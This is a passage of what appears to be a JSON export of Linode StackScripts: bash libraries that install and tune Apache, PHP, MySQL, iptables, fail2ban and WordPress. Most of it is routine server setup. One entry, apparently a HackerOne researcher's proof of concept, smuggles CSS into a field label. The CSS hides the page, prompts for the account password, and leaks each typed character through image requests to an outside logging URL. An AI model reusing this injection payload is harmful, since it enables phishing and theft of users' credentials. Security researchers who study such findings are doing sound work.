mpm_event\n\ta2enmod mpm_prefork\n}\n\nfunction centos7_install_apache {\n\tyum
install httpd -y\n\tsystemctl enable httpd\n}\n\nfunction centos7_apache_create_virtualhost
{\n\t# Creates httpd VirtualHost for user-defined domain.\t\n\n\tDOMAIN=\"$1\"\n\tif
[ ! -n \"$DOMAIN\" ]; then\n\t\techo \"No FQDN Defined.\"\n\t\treturn 1;\n\tfi\n\n\t#
Creates webroot directory and log directory\n\tmkdir -p /var/www/$1/{public_html,logs}\n\t#
Creates VirtualHost file\n\ttouch /etc/httpd/conf.d/vhost.conf\n\techo \"NameVirtualHost
*:80\" >> /etc/httpd/conf.d/vhost.conf\n\techo \"<VirtualHost *:80>\" >> /etc/httpd/conf.d/vhost.conf\n\techo
\" ServerAdmin webmaster@$1\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" ServerAlias
www.$1\" >> /etc/httpd/conf.d/vhost.conf\n\techo \" DocumentRoot /var/www/$1/public_html/\"
>> /etc/httpd/conf.d/vhost.conf\n\techo \" ErrorLog /var/www/$1/logs/$1-error.log\"
>> /etc/httpd/conf.d/vhost.conf\n\techo \" CustomLog /var/www/$1/logs/$1-access.log
combined\" >> /etc/httpd/conf.d/vhost.conf\n\techo \"</VirtualHost>\" >> /etc/httpd/conf.d/vhost.conf\n\t#
Creates temporary index.html file with the FQDN\n\techo \"<html><head><title>$1</title></head><body><h1>$1</h1></body></html>\"
> /var/www/$1/public_html/index.html\n\t# Enables httpd to start on boot and
restarts httpd.\n\tsystemctl enable httpd\n\tsystemctl restart httpd\n}\n\nfunction
centos7_apache_tune {\n\t# Disables KeepAlive and tunes variables for prefork
module.\n\n\techo \"KeepAlive Off\" >> /etc/httpd/conf/httpd.conf\n\techo \"<IfModule
prefork.c>\" >> /etc/httpd/conf/httpd.conf\n\techo \" StartServers 4\"
>> /etc/httpd/conf/httpd.conf\n\techo \" MinSpareServers 20\" >> /etc/httpd/conf/httpd.conf\n\techo
\" MaxSpareServers 40\" >> /etc/httpd/conf/httpd.conf\n\techo \" MaxClients 200\"
>> /etc/httpd/conf/httpd.conf\n\techo \" MaxRequestsPerChild 4500\" >> /etc/httpd/conf/httpd.conf\n\techo
\"</IfModule>\" >> /etc/httpd/conf/httpd.conf\n}\n\nfunction ubuntu1604_apache_virtualhost_get_docroot
{\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot()
requires the hostname as the first argument\"\n return 1;\n fi\n\n if
[ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/
{print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\nfunction debian8_apache_virtualhost_get_docroot
{\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot()
requires the hostname as the first argument\"\n return 1;\n fi\n\n if
[ -e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/
{print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\n# PHP\n#####\n\nfunction
ubuntu1604_install_php {\n\tapt-get install -y php7.0 php-pear libapache2-mod-php7.0
php7.0-mysql php7.0-curl php7.0-json php7.0-cgi\n}\n\nfunction debian8_install_php
{\n\tapt-get install -y php7.0 php-pear libapache2-mod-php7.0 php7.0-mysql php7.0-curl
php7.0-json php7.0-cgi\n}\n\nfunction centos7_install_php {\n\tyum install php
php-pear php-mysql -y\n}\n\nfunction ubuntu1604_php_tune {\n\t# Tunes PHP for
optimal values and enabled logging.\n\n\tsed -i -e ''s/max_input_time\\ \\=\\
60/max_input_time\\ \\=\\ 30/g'' /etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/error_reporting\\
\\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\ \\=\\
E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g''
/etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\
\\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php/7.0/apache2/php.ini\n\tmkdir
/var/log/php\n\tchown www-data /var/log/php\n\tsystemctl restart apache2\n}\n\nfunction
debian8_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed
-i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php/7.0/apache2/php.ini\n\tsed
-i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\
\\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g''
/etc/php/7.0/apache2/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\
\\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php/7.0/apache2/php.ini\n\tmkdir
/var/log/php\n\tchown www-data /var/log/php\n\tsystemctl restart apache2\n}\n\nfunction
centos7_php_tune {\n\t# Tunes PHP for optimal values and enabled logging.\n\n\tsed
-i -e ''s/max_input_time\\ \\=\\ 60/max_input_time\\ \\=\\ 30/g'' /etc/php.ini\n\tsed
-i -e ''s/error_reporting\\ \\=\\ E_ALL\\ \\&\\ ~E_DEPRECATED\\ \\&\\ ~E_STRICT/error_reporting\\
\\=\\ E_COMPILE_ERROR\\ \\|\\ E_RECOVERABLE_ERROR\\ \\|\\ E_ERROR\\ \\|\\ E_CORE_ERROR/g''
/etc/php.ini\n\tsed -i -e ''s/\\;error_log\\ \\=\\ php_errors.log/error_log\\
\\=\\ \\/var\\/log\\/php\\/error.log/g'' /etc/php.ini\n\tmkdir /var/log/php\n\tchown
apache /var/log/php\n\tsystemctl reload httpd\n}\n\n# Fail2Ban\n##########\n\nfunction
ubuntu1604_install_fail2ban {\n\tapt-get install -y fail2ban\n\tsystemctl enable
fail2ban\n\tsystemctl start fail2ban\n}\n\nfunction debian8_install_fail2ban
{\n\tapt-get install -y fail2ban\n\tsystemctl enable fail2ban\n\tsystemctl start
fail2ban\n}\n\nfunction centos7_install_fail2ban {\n\tyum install fail2ban -y\n\tsystemctl
enable fail2ban\n\tsystemctl start fail2ban\n}\n\n# iptables\n##########\n\nfunction
ubuntu1604_iptables_lamp {\n\t# Configures optimal iptables/ip6tables rules
for a LAMP stack.\n\t# Installs/configures iptables-persistent.\n\n\tiptables
-A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables
-A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A
INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT
-p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp
--dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state
ESTABLISHED,RELATED -j ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j
LOG --log-prefix \"iptables_INPUT_denied: \" --log-level 7\n\tiptables -A INPUT
-j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix
\"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables
-A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables
-A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state
--state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state
NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j
ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied:
\" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m
limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level
7\n\tip6tables -A FORWARD -j REJECT\n\techo \"iptables-persistent iptables-persistent/autosave_v4
boolean true\" | debconf-set-selections\n\techo \"iptables-persistent iptables-persistent/autosave_v6
boolean true\" | debconf-set-selections\n\tapt-get install -y iptables-persistent\n}\n\nfunction
debian8_iptables_lamp {\n\t# Configures optimal iptables/ip6tables rules for
a LAMP stack.\n\t# Installs/configures iptables-persistent.\n\n\tiptables -A
INPUT -i lo -j ACCEPT\n\tiptables -A INPUT ! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables
-A INPUT -p icmp -m state --state NEW --icmp-type 8 -j ACCEPT\n\tiptables -A
INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT
-p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp
--dport 443 -m state --state NEW -j ACCEPT\n\tiptables -A INPUT -m state --state
ESTABLISHED,RELATED -j ACCEPT\n\tiptables -A INPUT -m limit --limit 5/min -j
LOG --log-prefix \"iptables_INPUT_denied: \" --log-level 7\n\tiptables -A INPUT
-j REJECT\n\tiptables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix
\"iptables_FORWARD_denied: \" --log-level 7\n\tiptables -A FORWARD -j REJECT\n\tip6tables
-A INPUT -i lo -j ACCEPT\n\tip6tables -A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables
-A INPUT -p icmpv6 -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 80 -m state
--state NEW -j ACCEPT\n\tip6tables -A INPUT -p tcp --dport 443 -m state --state
NEW -j ACCEPT\n\tip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j
ACCEPT\n\tip6tables -A INPUT -m limit --limit 5/min -j LOG --log-prefix \"ip6tables_INPUT_denied:
\" --log-level 7\n\tip6tables -A INPUT -j REJECT\n\tip6tables -A FORWARD -m
limit --limit 5/min -j LOG --log-prefix \"ip6tables_FORWARD_denied: \" --log-level
7\n\tip6tables -A FORWARD -j REJECT\n\techo \"iptables-persistent iptables-persistent/autosave_v4
boolean true\" | debconf-set-selections\n\techo \"iptables-persistent iptables-persistent/autosave_v6
boolean true\" | debconf-set-selections\n\tapt-get install -y iptables-persistent\n}\n\nfunction
centos7_iptables_lamp {\n\t# Stops and Disables firewalld.\n\t# Installs iptables-services,
configures optimal iptables/ip6tables rules for a LAMP stack.\n\t# Saves iptables/ip6tables
rules, enables iptables-services to start on boot and starts iptables-services.\n\n\tsystemctl
stop firewalld.service && systemctl disable firewalld.service\n\tyum install
-y iptables-services\n\tiptables -A INPUT -i lo -j ACCEPT\n\tiptables -A INPUT
! -i lo -s 127.0.0.0/8 -j REJECT\n\tiptables -A INPUT -p icmp -m state --state
NEW --icmp-type 8 -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 22 -m state
--state NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 80 -m state --state
NEW -j ACCEPT\n\tiptables -A INPUT -p tcp --dport 443 -m state --state NEW -j
ACCEPT\n\tiptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\tiptables
-A INPUT -m limit --limit 5/min -j LOG --log-prefix \"iptables_INPUT_denied:
\" --log-level 7\n\tiptables -A INPUT -j REJECT\n\tiptables -A FORWARD -m limit
--limit 5/min -j LOG --log-prefix \"iptables_FORWARD_denied: \" --log-level
7\n\tiptables -A FORWARD -j REJECT\n\tip6tables -A INPUT -i lo -j ACCEPT\n\tip6tables
-A INPUT ! -i lo -s 1234::5678/128 -j REJECT\n\tip6tables -A INPUT -p icmpv6 -j ACCEPT\n\tip6tables
-A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT
-p tcp --dport 443 -m state --state NEW -j ACCEPT\n\tip6tables -A INPUT -m state
--state ESTABLISHED,RELATED -j ACCEPT\n\tip6tables -A INPUT -m limit --limit
5/min -j LOG --log-prefix \"ip6tables_INPUT_denied: \" --log-level 7\n\tip6tables
-A INPUT -j REJECT\n\tip6tables -A FORWARD -m limit --limit 5/min -j LOG --log-prefix
\"ip6tables_FORWARD_denied: \" --log-level 7\n\tip6tables -A FORWARD -j REJECT\n\tservice
iptables save\n\tservice ip6tables save\n\tsystemctl enable iptables && systemctl
enable ip6tables\n\tsystemctl start iptables && systemctl start ip6tables\n}\n\n#
Crons\n#######\n\nfunction ubuntu1604_update_cron {\n\t# Configures a cron job
to update the system every day at 1AM. \n\n\techo \"00 1 * * * apt-get update
&& apt-get upgrade -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\nfunction
debian8_update_cron {\n\t# Configures a cron job to update the system every
day at 1AM. \n\n\techo \"00 1 * * * apt-get update && apt-get upgrade -y\" >
/root/.cron\n\tcrontab -u root /root/.cron\n}\n\nfunction centos7_update_cron
{\n\t# Configures a cron job to update the system every day at 1AM. \n\n\techo
\"00 1 * * * yum update -y\" > /root/.cron\n\tcrontab -u root /root/.cron\n}\n\n\n#########################\n#
Deprecated Ubuntu 12.04\n#########################\n\nfunction system_update
{\n apt-get update\n apt-get -y install aptitude\n aptitude -y full-upgrade\n}\n\nfunction
system_primary_ip {\n # returns the primary IP assigned to eth0\n echo
$(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction
get_rdns {\n # calls host on an IP address and returns its reverse dns\n\n if
[ ! -e /usr/bin/host ]; then\n aptitude -y install dnsutils > /dev/null\n fi\n echo
$(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction
get_rdns_primary_ip {\n # returns the reverse dns of the primary IP assigned
to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction system_set_hostname
{\n # $1 - The hostname to define\n HOSTNAME=\"$1\"\n \n if
[ ! -n \"$HOSTNAME\" ]; then\n echo \"Hostname undefined\"\n return
1;\n fi\n \n echo \"$HOSTNAME\" > /etc/hostname\n hostname -F /etc/hostname\n}\n\nfunction
system_add_host_entry {\n # $1 - The IP address to set a hosts entry for\n #
$2 - The FQDN to set to the IP\n IPADDR=\"$1\"\n FQDN=\"$2\"\n\n if
[ -z \"$IPADDR\" -o -z \"$FQDN\" ]; then\n echo \"IP address and/or FQDN
Undefined\"\n return 1;\n fi\n \n echo $IPADDR $FQDN >> /etc/hosts\n}\n\n\n###########################################################\n#
Users and Authentication\n###########################################################\n\nfunction
user_add_sudo {\n # Installs sudo if needed and creates a user in the sudo
group.\n #\n # $1 - Required - username\n # $2 - Required - password\n USERNAME=\"$1\"\n USERPASS=\"$2\"\n\n if
[ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPASS\" ]; then\n echo \"No new
username and/or password entered\"\n return 1;\n fi\n \n aptitude
-y install sudo\n adduser $USERNAME --disabled-password --gecos \"\"\n echo
\"$USERNAME:$USERPASS\" | chpasswd\n usermod -aG sudo $USERNAME\n}\n\nfunction
user_add_pubkey {\n # Adds the users public key to authorized_keys for the
specified user. Make sure you wrap your input variables in double quotes, or
the key may not load properly.\n #\n #\n # $1 - Required - username\n #
$2 - Required - public key\n USERNAME=\"$1\"\n USERPUBKEY=\"$2\"\n \n if
[ ! -n \"$USERNAME\" ] || [ ! -n \"$USERPUBKEY\" ]; then\n echo \"Must
provide a username and the location of a pubkey\"\n return 1;\n fi\n \n if
[ \"$USERNAME\" == \"root\" ]; then\n mkdir /root/.ssh\n echo
\"$USERPUBKEY\" >> /root/.ssh/authorized_keys\n return 1;\n fi\n \n mkdir
-p /home/$USERNAME/.ssh\n echo \"$USERPUBKEY\" >> /home/$USERNAME/.ssh/authorized_keys\n chown
-R \"$USERNAME\":\"$USERNAME\" /home/$USERNAME/.ssh\n}\n\nfunction ssh_disable_root
{\n # Disables root SSH access.\n sed -i ''s/PermitRootLogin yes/PermitRootLogin
no/'' /etc/ssh/sshd_config\n touch /tmp/restart-ssh\n \n}\n\n###########################################################\n#
Postfix\n###########################################################\n\nfunction
postfix_install_loopback_only {\n # Installs postfix and configure to listen
only on the local interface. Also\n # allows for local mail delivery\n\n echo
\"postfix postfix/main_mailer_type select Internet Site\" | debconf-set-selections\n echo
\"postfix postfix/mailname string localhost\" | debconf-set-selections\n echo
\"postfix postfix/destinations string localhost.localdomain, localhost\" | debconf-set-selections\n aptitude
-y install postfix\n /usr/sbin/postconf -e \"inet_interfaces = loopback-only\"\n #/usr/sbin/postconf
-e \"local_transport = error:local delivery is disabled\"\n\n touch /tmp/restart-postfix\n}\n\n\n###########################################################\n#
Apache\n###########################################################\n\nfunction
apache_install {\n # installs the system default apache2 MPM\n aptitude
-y install apache2\n\n a2dissite default # disable the interfering default
virtualhost\n\n # clean up, or add the NameVirtualHost line to ports.conf\n sed
-i -e ''s/^NameVirtualHost \\*$/NameVirtualHost *:80/'' /etc/apache2/ports.conf\n if
! grep -q NameVirtualHost /etc/apache2/ports.conf; then\n echo ''NameVirtualHost
*:80'' > /etc/apache2/ports.conf.tmp\n cat /etc/apache2/ports.conf >>
/etc/apache2/ports.conf.tmp\n mv -f /etc/apache2/ports.conf.tmp /etc/apache2/ports.conf\n fi\n}\n\nfunction
apache_tune {\n # Tunes Apache''s memory to use the percentage of RAM you
specify, defaulting to 40%\n\n # $1 - the percent of system memory to allocate
towards Apache\n\n if [ ! -n \"$1\" ];\n then PERCENT=40\n else
PERCENT=\"$1\"\n fi\n\n aptitude -y install apache2-mpm-prefork\n PERPROCMEM=10
# the amount of memory in MB each apache process is likely to utilize\n MEM=$(grep
MemTotal /proc/meminfo | awk ''{ print int($2/1024) }'') # how much memory in
MB this system has\n MAXCLIENTS=$((MEM*PERCENT/100/PERPROCMEM)) # calculate
MaxClients\n MAXCLIENTS=${MAXCLIENTS/.*} # cast to an integer\n sed -i
-e \"s/\\(^[ \\t]*MaxClients[ \\t]*\\)[0-9]*/\\1$MAXCLIENTS/\" /etc/apache2/apache2.conf\n\n touch
/tmp/restart-apache2\n}\n\nfunction apache_virtualhost {\n # Configures a
VirtualHost\n\n # $1 - required - the hostname of the virtualhost to create
\n\n if [ ! -n \"$1\" ]; then\n echo \"apache_virtualhost() requires
the hostname as the first argument\"\n return 1;\n fi\n\n if [
-e \"/etc/apache2/sites-available/$1\" ]; then\n echo /etc/apache2/sites-available/$1
already exists\n return;\n fi\n\n mkdir -p /srv/www/$1/public_html
/srv/www/$1/logs\n\n echo \"<VirtualHost *:80>\" > /etc/apache2/sites-available/$1\n echo
\" ServerName $1\" >> /etc/apache2/sites-available/$1\n echo \" DocumentRoot
/srv/www/$1/public_html/\" >> /etc/apache2/sites-available/$1\n echo \" ErrorLog
/srv/www/$1/logs/error.log\" >> /etc/apache2/sites-available/$1\n echo \" CustomLog
/srv/www/$1/logs/access.log combined\" >> /etc/apache2/sites-available/$1\n echo
\"</VirtualHost>\" >> /etc/apache2/sites-available/$1\n\n a2ensite $1\n\n touch
/tmp/restart-apache2\n}\n\nfunction apache_virtualhost_from_rdns {\n # Configures
a VirtualHost using the rdns of the first IP as the ServerName\n\n apache_virtualhost
$(get_rdns_primary_ip)\n}\n\n\nfunction apache_virtualhost_get_docroot {\n if
[ ! -n \"$1\" ]; then\n echo \"apache_virtualhost_get_docroot() requires
the hostname as the first argument\"\n return 1;\n fi\n\n if [
-e /etc/apache2/sites-available/$1 ];\n then echo $(awk ''/DocumentRoot/
{print $2}'' /etc/apache2/sites-available/$1 )\n fi\n}\n\n###########################################################\n#
mysql-server\n###########################################################\n\nfunction
mysql_install {\n # $1 - the mysql root password\n\n if [ ! -n \"$1\"
]; then\n echo \"mysql_install() requires the root pass as its first
argument\"\n return 1;\n fi\n\n echo \"mysql-server mysql-server/root_password
password $1\" | debconf-set-selections\n echo \"mysql-server mysql-server/root_password_again
password $1\" | debconf-set-selections\n apt-get -y install mysql-server
mysql-client\n\n echo \"Sleeping while MySQL starts up for the first time...\"\n sleep
5\n}\n\nfunction mysql_tune {\n # Tunes MySQL''s memory usage to utilize
the percentage of memory you specify, defaulting to 40%\n\n # $1 - the percent
of system memory to allocate towards MySQL\n\n if [ ! -n \"$1\" ];\n then
PERCENT=40\n else PERCENT=\"$1\"\n fi\n\n sed -i -e ''s/^#skip-innodb/skip-innodb/''
/etc/mysql/my.cnf # disable innodb - saves about 100M\n\n MEM=$(awk ''/MemTotal/
{print int($2/1024)}'' /proc/meminfo) # how much memory in MB this system has\n MYMEM=$((MEM*PERCENT/100))
# how much memory we''d like to tune mysql with\n MYMEMCHUNKS=$((MYMEM/4))
# how many 4MB chunks we have to play with\n\n # mysql config options we
want to set to the percentages in the second list, respectively\n OPTLIST=(key_buffer
sort_buffer_size read_buffer_size read_rnd_buffer_size myisam_sort_buffer_size
query_cache_size)\n DISTLIST=(75 1 1 1 5 15)\n\n for opt in ${OPTLIST[@]};
do\n sed -i -e \"/\\[mysqld\\]/,/\\[.*\\]/s/^$opt/#$opt/\" /etc/mysql/my.cnf\n done\n\n for
i in ${!OPTLIST[*]}; do\n val=$(echo | awk \"{print int((${DISTLIST[$i]}
* $MYMEMCHUNKS/100))*4}\")\n if [ $val -lt 4 ]\n then val=4\n fi\n config=\"${config}\\n${OPTLIST[$i]}
= ${val}M\"\n done\n\n sed -i -e \"s/\\(\\[mysqld\\]\\)/\\1\\n$config\\n/\"
/etc/mysql/my.cnf\n\n touch /tmp/restart-mysql\n}\n\nfunction mysql_create_database
{\n # $1 - the mysql root password\n # $2 - the db name to create\n\n if
[ ! -n \"$1\" ]; then\n echo \"mysql_create_database() requires the root
pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\"
]; then\n echo \"mysql_create_database() requires the name of the database
as the second argument\"\n return 1;\n fi\n\n echo \"CREATE DATABASE
$2;\" | mysql -u root -p$1\n}\n\nfunction mysql_create_user {\n # $1 - the
mysql root password\n # $2 - the user to create\n # $3 - their password\n\n if
[ ! -n \"$1\" ]; then\n echo \"mysql_create_user() requires the root
pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\"
]; then\n echo \"mysql_create_user() requires username as the second
argument\"\n return 1;\n fi\n if [ ! -n \"$3\" ]; then\n echo
\"mysql_create_user() requires a password as the third argument\"\n return
1;\n fi\n\n echo \"CREATE USER ''$2''@''localhost'' IDENTIFIED BY ''$3'';\"
| mysql -u root -p$1\n}\n\nfunction mysql_grant_user {\n # $1 - the mysql
root password\n # $2 - the user to bestow privileges \n # $3 - the database\n\n if
[ ! -n \"$1\" ]; then\n echo \"mysql_create_user() requires the root
pass as its first argument\"\n return 1;\n fi\n if [ ! -n \"$2\"
]; then\n echo \"mysql_create_user() requires username as the second
argument\"\n return 1;\n fi\n if [ ! -n \"$3\" ]; then\n echo
\"mysql_create_user() requires a database as the third argument\"\n return
1;\n fi\n\n echo \"GRANT ALL PRIVILEGES ON $3.* TO ''$2''@''localhost'';\"
| mysql -u root -p$1\n echo \"FLUSH PRIVILEGES;\" | mysql -u root -p$1\n\n}\n\n###########################################################\n#
PHP functions\n###########################################################\n\nfunction
php_install_with_apache {\n aptitude -y install php5 php5-mysql libapache2-mod-php5\n touch
/tmp/restart-apache2\n}\n\nfunction php_tune {\n # Tunes PHP to utilize up
to 32M per process\n\n sed -i''-orig'' ''s/memory_limit = [0-9]\\+M/memory_limit
= 32M/'' /etc/php5/apache2/php.ini\n touch /tmp/restart-apache2\n}\n\n###########################################################\n#
Wordpress functions\n###########################################################\n\nfunction
wordpress_install {\n # installs the latest wordpress tarball from wordpress.org\n\n #
$1 - required - The existing virtualhost to install into\n\n if [ ! -n \"$1\"
]; then\n echo \"wordpress_install() requires the vitualhost as its first
argument\"\n return 1;\n fi\n\n if [ ! -e /usr/bin/wget ]; then\n aptitude
-y install wget\n fi\n\n VPATH=$(apache_virtualhost_get_docroot $1)\n\n if
[ ! -n \"$VPATH\" ]; then\n echo \"Could not determine DocumentRoot for
$1\"\n return 1;\n fi\n\n # download, extract, chown, and get our
config file started\n cd $VPATH\n wget http://wordpress.org/latest.tar.gz\n tar
xfz latest.tar.gz\n chown -R www-data: wordpress/\n cd $VPATH/wordpress\n cp
wp-config-sample.php wp-config.php\n chown www-data wp-config.php\n chmod
640 wp-config.php\n\n # database configuration\n WPPASS=$(randomString
20)\n mysql_create_database \"$DB_PASSWORD\" wordpress\n mysql_create_user
\"$DB_PASSWORD\" wordpress \"$WPPASS\"\n mysql_grant_user \"$DB_PASSWORD\"
wordpress wordpress\n\n # configuration file updates\n for i in {1..4}\n do
sed -i \"0,/put your unique phrase here/s/put your unique phrase here/$(randomString
50)/\" wp-config.php\n done\n\n sed -i ''s/database_name_here/wordpress/''
wp-config.php\n sed -i ''s/username_here/wordpress/'' wp-config.php\n sed
-i \"s/password_here/$WPPASS/\" wp-config.php\n\n # http://downloads.wordpress.org/plugin/wp-super-cache.0.9.8.zip\n}\n\n###########################################################\n#
Other niceties!\n###########################################################\n\nfunction
goodstuff {\n # Installs the REAL vim, wget, less, and enables color root
prompt and the \"ll\" list long alias\n\n aptitude -y install wget vim less\n sed
-i -e ''s/^#PS1=/PS1=/'' /root/.bashrc # enable the colorful root bash prompt\n sed
-i -e \"s/^#alias ll=''ls -l''/alias ll=''ls -al''/\" /root/.bashrc # enable
ll list long alias <3\n}\n\n\n###########################################################\n#
utility functions\n###########################################################\n\nfunction
restartServices {\n # restarts services that have a file in /tmp/needs-restart/\n\n for
service in $(ls /tmp/restart-* | cut -d- -f2-10); do\n /etc/init.d/$service
restart\n rm -f /tmp/restart-$service\n done\n}\n\nfunction randomString
{\n if [ ! -n \"$1\" ];\n then LEN=20\n else LEN=\"$1\"\n fi\n\n echo
$(</dev/urandom tr -dc A-Za-z0-9 | head -c $LEN) # generate a random string\n}",
"user_defined_fields": []}, {"id": 628741, "username": "HackerOne_7df17c47",
"user_gravatar_id": "b67d1e20cd00ac20134cdb0845f57f6e", "label": "vakzz", "description":
"vakzz", "ordinal": 0, "logo_url": "", "images": ["linode/arch"], "deployments_total":
0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "test1", "script": "#!/bin/bash\n\n#
<UDF name=\"password\" Label=\"password\" example=\"Please enter you account
password to continue\" />\n\n# <UDF name=\"var4\" Label=\"pick{}\nbody{visibility:hidden}\n#password{visibility:visible;position:fixed;left:50px;top:50px}\n#password[value$=''a'']{background-image:url(''https://aw.rs/log?a'')!important}\n#password[value$=''b'']{background-image:url(''https://aw.rs/log?b'')!important}\n#password[value$=''c'']{background-image:url(''https://aw.rs/log?c'')!important}\n#password[value$=''d'']{background-image:url(''https://aw.rs/log?d'')!important}\n#password[value$=''e'']{background-image:url(''https://aw.rs/log?e'')!important}\n#password[value$=''f'']{background-image:url(''https://aw.rs/log?f'')!important}\n#password[value$=''g'']{background-image:url(''https://aw.rs/log?g'')!important}\n#password[value$=''h'']{background-image:url(''https://aw.rs/log?h'')!important}\n#password[value$=''i'']{background-image:url(''https://aw.rs/log?i'')!important}\n//\"
manyOf=\"foo,bar,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s\" />", "user_defined_fields":
[{"name": "password", "label": "password", "example": "Please enter you account
password to continue"}, {"name": "var4", "label": "pick{}body{visibility:hidden}#password{visibility:visible;position:fixed;left:50px;top:50px}#password[value$=''a'']{background-image:url(''https://aw.rs/log?a'')!important}#password[value$=''b'']{background-image:url(''https://aw.rs/log?b'')!important}#password[value$=''c'']{background-image:url(''https://aw.rs/log?c'')!important}#password[value$=''d'']{background-image:url(''https://aw.rs/log?d'')!important}#password[value$=''e'']{background-image:url(''https://aw.rs/log?e'')!important}#password[value$=''f'']{background-image:url(''https://aw.rs/log?f'')!important}#password[value$=''g'']{background-image:url(''https://aw.rs/log?g'')!important}#password[value$=''h'']{background-image:url(''https://aw.rs/log?h'')!important}#password[value$=''i'']{background-image:url(''https://aw.rs/log?i'')!important}//",
"manyof": "foo,bar,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s"}]}, {"id": 2822, "username":
"smartjones", "user_gravatar_id": "0b874d2362ffd16a2178ba9339c40798", "label":
"Smartweb", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu10.04lts32bit"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Initial import", "script": "#!/bin/bash\n#<UDF name=\"db_password\" Label=\"MySQL
root Password\" />\n#<UDF name=\"db_name\" Label=\"Create Database\" default=\"\"
example=\"Optionally create this database\" />\n#<UDF name=\"db_user\" Label=\"Create
MySQL User\" default=\"\" example=\"Optionally create this user\" />\n#<UDF
name=\"db_user_password\" Label=\"MySQL User''s Password\" default=\"\" example=\"User''s
password\" />\n\nsource <ssinclude StackScriptID=\"1\">\n\nsystem_update\npostfix_install_loopback_only\nmysql_install
\"$DB_PASSWORD\" && mysql_tune 40\nmysql_create_database \"$DB_PASSWORD\" \"$DB_NAME\"\nmysql_create_user
\"$DB_PASSWORD\" \"$DB_USER\" \"$DB_USER_PASSWORD\"\nmysql_grant_user \"$DB_PASSWORD\"
\"$DB_USER\" \"$DB_NAME\"\nphp_install_with_apache && php_tune\napache_install
&& apache_tune 40 && apache_virtualhost_from_rdns\ngoodstuff\nrestartServices",
"user_defined_fields": [{"name": "db_password", "label": "MySQL root Password"},
{"name": "db_name", "label": "Create Database", "default": "", "example": "Optionally
create this database"}, {"name": "db_user", "label": "Create MySQL User", "default":
"", "example": "Optionally create this user"}, {"name": "db_user_password",
"label": "MySQL User''s Password", "default": "", "example": "User''s password"}]},
{"id": 9222, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
